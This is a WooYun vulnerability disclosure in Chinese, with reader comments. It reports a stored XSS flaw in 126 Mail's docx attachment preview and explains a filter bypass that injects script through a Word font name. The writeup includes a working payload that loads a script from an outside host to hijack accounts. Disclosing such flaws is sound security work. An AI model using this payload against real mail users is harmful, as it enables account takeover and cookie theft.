126邮箱存储型XSS 可劫持他人账号进入对方邮箱

漏洞概要

缺陷编号:WooYun-2014-088920

漏洞标题:126邮箱存储型XSS 可劫持他人账号进入对方邮箱

相关厂商:网易

漏洞作者:0x_Jin

提交时间:2014-12-27 15:10

公开时间:2015-02-10 15:12

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述:

一步两步一步两步~

详细说明:

首先问题出在附件预览那(现在邮箱正文的过滤都过滤的差不多了),附件预览那如果预览doc docx这种类型的文件 便会采用微软的在线预览技术(高清版)以及永中软件的预览技术(极速版)而微软的在线预览技术采用的是将内容嵌入到图片 然后来渲染出一张图片给用户看,这样是比较需要时间以及带宽来加载的(难怪叫高清版)但是永中软件的就相对正常一些了,是获得内容然后渲染到html,这样速度比较快,带宽也无需太多 就跟浏览网页一样。那么现在问题来了,微软的在线预览技术应该做的比较成熟了 所以直接放弃,那另外一个呢?发送一个docx 然后预览发现字体是会输出在style标签中字体里的。如果在字体中带上恶意payload呢?其实是会过滤的,如果直接闭合style标签会变成这样:</style><script> --->\60;/style\62;\60;script\62;把payload当成值给编码了,这样就过不去了么,No 好玩的来了。我们只需要有一个 ; 号 来结束掉 font-family 就ok了。那么便可以这样:}</style><script> 这样的话 } 会编码成font-family:\125;这样我们就有了个;号 然后便可以写payload了最终payload如下 (由于字数问题 分成了两段):}</style><script src=//km3pw>}</script>把上面的两段设置到word文档中的字体里就好了比如 1.xsss --> 字体等于}</style><script src=//km3pw>2.csrf --> 字体等于}</script>

然后发送给别人预览:

漏洞证明:

修复方案:

过滤危险字符 关键cookie字段设置Httponly

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-12-3012:17

厂商回复:

感谢您对网易的关注。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 围剿 白帽子 | Rank:5 漏洞数:2)

    摩擦 摩擦 在这光滑的地面摩擦

  2. 2010-01-01 00:00 ki11y0u 白帽子 | Rank:72 漏洞数:7)

    前排。

  3. 2010-01-01 00:00 刺蝴蝶De箫启灵 白帽子 | Rank:10 漏洞数:2)

    哇塞,,这个屌。。。。

  4. 2010-01-01 00:00 冰糖flow 白帽子 | Rank:21 漏洞数:3)

    马克

  5. 2010-01-01 00:00 残废 白帽子 | Rank:163 漏洞数:19)

    jin牛你的简历侧漏了//

  6. 2010-01-01 00:00 0x_Jin 白帽子 | Rank:234 漏洞数:25)

    @残废 漏了就漏了吧 也没啥隐私 简历本身就是给人看的

  7. 2010-01-01 00:00 随随意意 白帽子 | Rank:125 漏洞数:14)

    见过这个思路,啦啦啦

  • N/A